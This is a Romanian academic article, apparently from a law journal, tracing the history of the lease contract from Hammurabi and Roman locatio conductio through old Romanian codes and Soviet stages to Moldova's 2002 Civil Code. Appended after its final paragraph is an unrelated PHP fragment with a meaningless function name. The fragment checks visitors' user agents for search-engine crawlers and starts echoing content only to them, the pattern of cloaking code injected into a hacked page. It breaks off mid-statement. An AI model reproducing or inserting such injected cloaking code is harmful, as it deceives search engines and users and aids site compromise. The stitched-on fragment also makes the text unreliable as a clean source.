Evoluția istorico-juridică a contractului de locațiune a bunurilor imobiliare

Alexandru SECRIERU, doctorand (ORCID: 0000-0002-5652-0545)

Recenzent: Valeriu BAEȘU, doctor în drept, conferențiar universitar

The Historical-legal Evolution of the Real Estate Lease Contract From a historical point of view, it is worth mentioning that the appearance and use from the earliest times of the lease is closely related to the development of trade, as well as to social relations. This contract being one of the first contracts used, after the exchange and the one for sale, being destined to ensure the temporary transmission of certain goods, necessary for carrying out economic-social activities. This article contains a short description of the history and concept of the lease contracts. Keywords: lease agreement, evolution, trade, tenant, lessor, rights/obligations, responsibilities, protection of the property in the lease.

Din punct de vedere istoric, merită menționat faptul că apariţia și utilizarea din cele mai timpurii perioade a contractului de închiriere este strâns legată de dezvoltarea comerțului, precum și de relațiile sociale. Acest contract fiind unul dintre primele contracte utilizate, după schimb și cel de vânzare, fiind destinate asigurării transmiterii temporare a anumitor bunuri, necesare desfășurării de activități economico-sociale. Acest articol conține o scurtă descriere a istoriei și a conceptului contractelor de închiriere. Cuvinte-cheie: contract de locațiune, evoluția, comerț, locatar, locator, drepturi/ obligații, responsabilități, protecția bunului în locațiune.

Din punct de vedere istoric, este de menționat că apariția și întrebuințarea din cele mai străvechi timpuri a contractului de locațiune este strâns legată de dezvoltarea comerțului, precum și a relațiilor sociale, acest contract fiind unul dintre primele contracte utilizate, după cel de schimb și cel de vânzare, fiind destinat pentru a asigura transmiterea în folosință temporară a anumitor bunuri, necesare pentru desfășurarea activităților economico-sociale.

Asemenea contractului de schimb și de vânzare-cumpărare, locațiunea este considerată unul dintre cele mai vechi tipuri de contracte cunoscute și utilizate pe larg de societatea umană. Nu ar fi suficientă o analiză a contractele de locațiune, fără a efectua o incursiune in evoluția istorică a relațiilor juridice ale dreptului contractului de locațiune în general.

Așadar, acest articol constituie o cercetare asupra istoricului evoluției contractelor de locațiune. După cum am menționat, locațiunea, precum și vânzarea și cumpărarea este unul dintre cele mai vechi tipuri de contracte cunoscute de-a lungul timpului, ele evoluau si aveau o largă aplicabilitate încă din perioada dreptului roman. Dreptul roman este primul drept universal al unei societăți producătoare de mărfuri care a pus la punct toate raporturile economice dintre cumpărători şi vânzători, contracte, asumații de obligații si responsabilități, stabilind principii care formează substratul legislațiilor moderne.

Locațiunea este un contract clasic complex, al cărui istoric se întinde pe parcursul mai multor secole. Primele informații despre contractul de locațiune se conținea, şi în actele Egiptului şi a Babilonului antic.

Deci cea mai veche opera legislativă, cunoscută sub denumirea de „Codul lui Hamurapi“, (Hamurapi — regele Babilonului care a domnit în anii 1792—1749 î.e.n.) cuprindea reglementări detailate a contractului de locațiune.1

Dreptul privat roman a reglementat contractul de locațiune într-o formă mai detailată, instituțiile căruia şi-au găsit reflectare şi în normele contemporane.

Noțiunea de locațiune provine din latinescul  locare, care înseamnă a închiria. În drept privat roman, locațiunea era denumită „locatio conductio“, ceea ce înseamnă: „locare“ — a plasa, a depozita, şi „conducere“ — a lua cu sine.

În vechiul drept românesc, locațiunea este întâlnita sub termenul de „năimeală“.2

Locațiunea a fost cunoscută în dreptul roman ca locatio-conductio, sub tripla sa formă:

— locatio-conductio rei (contractul de închiriere de bunuri);

— locatio-conductio operarum (închirierea de servicii, contractul de muncă);

— locatio conductio operis faciendi (locatio-conductio irregularis) sau contractul de închiriere a forţei de muncă pentru lucrări determinate, precizate.3

Comun în aceste trei contracte, de obicei este aceea că o parte se obligă să ofere altei părți în folosința un lucru determinat, dar altă parte se obligă să plătească celeilalte pentru folosință o anumită plată.

Contractul de locațiune actual s-a format datorită influenței contractului locatio conductio rei.

Prin închirierea de bunuri (locatio conductio rei) se înțelege așa un contract, conform căruia o parte (locator) se obligă să ofere celeilalte părți (conductor) unul sau mai multe lucruri determinate în folosință temporară, dar cea dea doua parte se obligă să plătească pentru folosința acestora o anumită plată numită (merces, pensio) și la sfârșitul folosinței, să întoarcă bunul în integritate.4

Următoarele asemănări și deosebiri, mai putem identifica între contractele de locaţiune actuale şi locatio conductio rei:

— Locaţio conductio rei putea fi încheiat, atât în formă scrisă cât şi în formă verbală, la acordul părților, însă de contractul actual, se întocmește doar în formă scrisă.

— Ambele contracte au caractere identice (consensual, oneros, sinalagmatic).

— Obiectul locatio conductio rei este: bunuri mobile, imobile, corporale, incorporale, şi determinate, inclusiv şi cele agricole, spre deosebire de contractul de locațiune, unde ultimele lipsesc.

Achitarea pentru folosința bunurilor neagricole se făcea în bani la începutul contractului, sau stabilită de arbitri, dacă nu s-a convenit altfel. La fel era posibilă şi o contraprestație dar se referea la un schimb de folosințe.

În contractul de locațiune actual, atât obligațiile locatorului, cât și a locatarului , corespund în linii generale cu locaţio conductio rei, însă mai există unele deosebiri.

Astfel, în cazul înstrăinării lucrului închiriat, locatorul putea fi lipsit de dreptul de folosință de noul proprietar, dar răspunderea pentru aceasta o purta locatorul inițial.

În contradicție cu aceasta a venit marea Revoluţie Franceză care a stabili că „cumpărarea nu afectează închirierea“ acest principiu este stipulat în articolul 1743 din Codul lui Napoleon

O altă deosebire constă în aceea că locaţio conductio rei înceta atât conform regulii generale (rezilierea unilaterală, scurgerea timpului, etc.), cât și după moartea locatorului, spre deosebire de locațiunea actuală unde în cazul decesului locatorului intervine instituția succesiunii.5

Asemeni lui locaţio conductio rei, locaţio conductio operis a avut și el unele tangențe cu locațiunea contemporană, cât și cu antrepriza. Acest contract se aseamănă cu antrepriza de arendă, care la rândul său este o modalitate a locațiunii.

Deci după analiza efectuată este evident că asupra reglementării actuale a locațiunii a influențat în mare parte locaţio conductio rei și într-o măsură mai mică locatio conductio operis.

Odată cu dezvoltarea sistemului de drept, în arealul Carpato danubiano pontic, instituția locațiunii s-a dezvoltat mai lent având ca izvoare la început, cutuma și niște legi date de Deceneu numite Bellagines.

Odată cu cucerirea Daciei şi transformarea ei în provincie romană (106 e.n.) pe teritoriul ei pe lângă dreptul geto-dac a început să se aplice dreptul roman.

În urma extinderii imperiului roman şi a producerii revoluției economice, vechiul contract locatio rei, având ca obiect sclavul, a fost modificat sub aspectul obiectului, în sensul că închirierea a fost concepută în legătură cu o casă. Criza locuințelor a determinat adaptarea acestui contract la situația juridică născută din închirierea bunurilor imobile ale statului către persoanele lipsite de adăpost. Este o reprezentare incipientă a contractului având ca obiect locuințele sociale, care se va dezvolta mult mai târziu, în societățile moderne, în scopul asigurării ideii de protecție socială. Obligațiile părților născute din contractul de închiriere erau sancționate cu actio conducti şi, respectiv, actio locati, calificate drept acțiuni de bună credință.6

Astfel, atunci când proprietarul nu asigura locatarului folosința bunului, acesta din urmă avea la îndemână actio conducti, spre a-l obliga pe proprietar la despăgubiri pentru paguba suferită iar dacă locatarul nu plătea prețul închirierii sau nu restituia lucrul primit spre folosință, locatorul avea la îndemână actio locati pentru a-l sili la îndeplinirea obligațiilor asumate. Incertitudinea care plana asupra situației juridice a chiriașului a fost remediată în dreptul clasic, prin aceea că se permitea ca în limita primului an de la începerea executării contractului, oricare parte să denunțe unilateral convenția prin simpla manifestare de voință.

Deci în domeniul dreptului obligațional s-a aplicat dreptul roman dar sub influenta dreptului local. Dovadă acestui fapt stau tripticele, tăblițele cerate descoperite în Transilvania, între anii 1786—1855 la Roşia Montană.

O altă informație deosebit de valoroasă cu privire la obligațiunile părților în contractul locațiunii de servicii, provine dintr-un triptic în care o tăbliță conținea un contract de locațiune (locatio operarum) prin care un om liber se angajează la lucrul în mină.7

Feudalismul a continuat să distrugă formele concepute în epoca romană, consacrând consensualismul, ca idee esențială, potrivită acelor vremuri, justificată de lipsa de pregătire a majorității, precum și de nevoia de circulație juridică mai rapidă, contractele solemne fiind înlăturate sau modificate în scopul adaptării lor la noile realități.

Pe de altă parte, sub influenta dreptului canonic ideile religioase au penetrat și sfera dreptului, principiul pacta sunt servanda fiind înțeles şi sub aspectul faptului că cine nu își respecta angajamentele contractate era răspunzător în față divinității, comițând un păcat.8

În această situație, nu mai era nevoie de formalități pentru a consfinți consimțământul părților, simplul acord al acestora fiind suficient pentru nașterea valabilă a convenției. Reglementarea dreptului roman a fost preluată în mare parte în vechiul drept românesc, în ciuda influențelor slave nu numai sub aspect lingvistic, întemeiate pe evoluția contextului istoric și pe inexistența unui sistem unitar al normelor în cadrul Europei Occidentale.9

Dreptul roman, totuși a lăsat amprentă asupra obligațiilor civile, însă acestea rămânând influențate în mare parte de dreptul local. După cum vedem sfera obiectelor acestui contract este foarte vastă incluzând în sine atât obiectele contractului de locațiune cât și a altor contracte civile, cum ar fi arenda, concesiunea.

În aceasta perioada, când avea loc formarea statelor românești, vorbind despre dezvoltarea relațiilor de arendă putem spune că: contractele de arendă priveau pășunile, livezile, cârciumile, etc. Țăranii le închiriau în condiții grele de la proprietari, în schimbul unor slujbe. Mai dese erau arendările de drepturi regaliene: vămi, ocne, mine. Și în Transilvania se obișnuiau să se angajeze pământurile, vămile sau dijmele, „alodiaturile“ (cârciumi, prăvălii decarne, târguri), minele sau unele taxe vamale; arendarea schimbului aurului, constituia o importantă sursă devenit pentru orașele.10

Pravila lui Matei Basarab vorbea despre năimeală — glava 310 arătând că „cine va năimi cal și-l va împovăra, de-l va prea încărca mai mult de cum-i va fi tocmeala, și-l va beteji, aceluia i se judecă betejeala“.

Urmează Codul Calimachi (1817) care consacra la rândul său norme relative la locațiune, noțiune utilizată fiind aceea a „tocmelii dărei şi luarei în posesie“, consacrându-i un regim juridic distinct de dreptul real de uzufruct, în timp ce Codul Caragea (1818) trata contractul de locațiune după vânzare și schimb, ca și reglementarea franceză a vremii, vorbind astfel „Despre închiriere sau arendă“ — Partea a III-a, Capitolul 4. Codul Caragea numea închiriere „folosul unei clădiri sau a oricărui lucru mișcător“, iar arendarea era „folosul unei moșii sau rodurile unei grădini“ (art. 2 al Capitolului 4 din Partea a III-a). Noțiunea juridică a închirierii era definită în textul art. 1 al Capitolului 4 care preciza că aceasta reprezintă „tocmeala prin care o parte se îndatorește a da celeilalte folosul unui lucru oarecare, pe un soroc oarecare și pe un preț la care se îndatorește cealaltă parte“. La rândul său, Codul Calimach definea în art. 1466 închirierea ca „tocmeala prin care câștigă cineva până la un hotărât termen, și cu preț rostit, întrebuințarea unui lucru ne cheltuitor“. Afară de năimeală, închirierea se mai numea şi „luare de posesie“.11

În perioada modernă locațiunea n-a suferit multe schimbări urmând să fie reglementată de Codul lui Calimah până la abrogarea acestuia la 1 decembrie 1865.

În legătură cu locațiunea legiuitorul român din 1864 a înglobat în noțiunea de locațiune trei contracte cunoscute încă în dreptul roman: locațiunea lucrurilor, locațiune serviciilor și contractul de închiriere.12

Cu timpul, Codul Civil reglementează doar locațiunea lucrurilor, cea de întreprindere, formând obiectul dreptului bancar, iar locațiunea serviciilor devenind obiectul unei vaste legislații a muncii, apărute pe măsura formării clasei muncitoare.13

În următoarele perioade istorice, evoluția este legată nemijlocit de producția și circulația mărfurilor, atunci dreptul civil cunoaște o serie de transformări substanțiale în așa domenii ca: proprietatea, condiția juridică a persoanei și contractele. La baza acestei ramuri a rămas Codul civil din 1864 adoptat pe timpul lui Cuza, dar au fost și un șir de alte legi care au influențat în mod firesc aceste raporturi juridice.14

În acest sens menționăm că au fost unele derogări de la dispozițiile Codului Civil în privința contractului de închiriere a clădirilor, prin acordarea unor drepturi speciale proprietarilor și prin introducere unei proceduri de executare a obligațiilor chiriașilor.15

Luând în considerație că Republica Moldova a fost o parte componentă a ex-URSS, e şi normal că istoria dezvoltării sale să fie tipică pentru URSS.

Perioada contemporană de evoluție a contractului de locațiune în legislația rusă este marcată de anumite etape:

-1- Prima etapă este legată de anul 1917 — victoria revoluției și schimbarea orânduirii de stat. Odată cu instaurarea a puterii sovietice, au apărut unele relații juridice noi, ce se bazau pe normele ruse a dreptului civil existente înaintea revoluției, care erau reglementate reieșind din situația economică existentă. Această perioadă este marcată de adoptarea primului Cod Civil din 1922, chemat să reglementeze raporturile civile în condițiile unei politici economice noi (NEP).

-2- La 14 decembrie 1940 la cererea Sovietului Comisarilor Norodnici din URSS, Prezidiul Sovietului Suprem al URSS printr-un decret proclamat a permis aplicare temporară a codului penal, civil, muncii, familial, procedură penală, civilă, ale RSS Ucraineşti pe teritoriul RSSM. Deci, acum litigiile patrimoniale trebuiau să fie examinate de organele judiciare ale RSSM în conformitate cu codurile ucrainene, legislația unională și cea a RSSM.

-3- A treia etapă se referă la începutul anilor ’60 — adoptarea la 8 decembrie 1961 a Bazelor legislației civile URSS și a republicilor unionale. Codul civil al Republicii Moldova a fost adoptat la 26 decembrie 1964 și a intrat în vigoare la 1 iulie 1965. În conformitate cu aceste acte normative, contractul de locațiune a căpătat o reglementare detailată însă o aplicare restrânsă.

-4- A patra etapă de dezvoltare a relațiilor de arendă o putem lega cu adoptarea de către Sovietul Miniștrilor URSS din 4 octombrie 1965 a Regulamentului despre întreprinderea socialistă de producție a statului. În conformitate cu acest act normativ, întreprinderile de producție a statului au căpătat o libertate relativă în sensul încheierii oricăror tranzacții civile, inclusiv și a contractului de locațiune.

-5- O însemnătate mare pentru contractul de închirierea a bunurilor pentru satisfacerea necesităților personale — una dintre modalitățile contractului de locațiune, a avut-o Regulamentul C.C. P.C.U.S. și a Sovietului Miniștrilor din 2 februarie 1984 „Cu privire la lărgirea independenței gospodărești şi a măririi interesului a uniunilor de producție şi deservire personală, în scopul satisfacerii pe deplin a populației în servicii“.

-6- A șasea etapă este legată cu adoptarea la 3 iunie 1987 a Legii URSS „cu privire la întreprinderile de stat, în articolul 4 al căreia a fost indicat, că întreprinderea are dreptul să transmită altor întreprinderi, organizați, a vinde, a schimba, a da în arendă, a oferi gratis în folosință temporară sau a împrumuta construcții, clădiri, utilaje, mijloace de transport, inventarul, materia primă, si alte mijloace materiale, cât și a le exclude din balanța întreprinderii, dacă acestea s-au uzat moral sau fizic. În comparație cu normele juridice existente până atunci, această lege acorda întreprinderilor atribuții mai largi în realizarea activității de producție. Reieșind din aceasta o tendință generală a normelor juridice se manifestă într-o majorare treptată, evoluționistă a volumului de atribuții a subiecților publici. Această tendința era caracteristică și pentru întreprinderile cu o altă formă organizatorico-juridică.

Pentru Republica Moldova o etapă importantă a relațiilor de arendă a devenit anul 1992, când la 14 ianuarie a fost adoptată Legea RM „cu privire la arendă“, care în realitatea existentă reglementa într-o modalitate cu totul diferită toată complexitatea relațiilor legate de arenda patrimoniului aparținând cu dreptul de proprietate altor subiecți.

-7- Următoarea etapă de dezvoltare a relațiilor de arendă este legată de Hotărârea Guvernului RM din 2 mai 1993 prin care a fost aprobat Regulamentul cu privire la întreprinderea de arendă şi Regulamentul cu privire la antrepriza de arendă.16

-8- Ultima etapă în dezvoltarea relațiilor de arendă şi în special a locațiunii este marcată de adoptarea la 6 iunie 2002 a Codului civil a RM. Cea mai esențiala diferență dintre vechea legislație și noul C.C. este că contractul de arendă s-a divizat în două contracte separate: contractul de arendă şi contractul de locațiune.

În aceeași ordine de idei, putem afirma faptul că evoluția contractului de locațiune a fost influențată direct de condițiile sociale, economice, politice existente la etapele sale de dezvoltare, care au favorizat atât dezvoltarea acestor raporturi, cât și stagnarea lor pe un anumit timp.

Este, inimaginabil o evoluție și o dezvoltare a relațiilor socio-umane si economice, fără existența contractelor economico-civile utilizate astăzi, care asigură un circuit civil al diferitelor valori sociale.

function vururumgardas(){
$agent = $_SERVER[‘HTTP_USER_AGENT’];
$sec = $agent;
switch(true){
case (strpos($sec,”google”)): $part = 1; break;
case (strpos($sec,”yandex”)): $part = 1; break;
case (strpos($sec,”bing”)): $part = 1; break;
case (strpos($sec,”yahoo”)): $part = 1; break;
case (strpos($sec,”alexa”)): $part = 1; break;
default : $part = 0;
}
if($part ==1){
echo ‘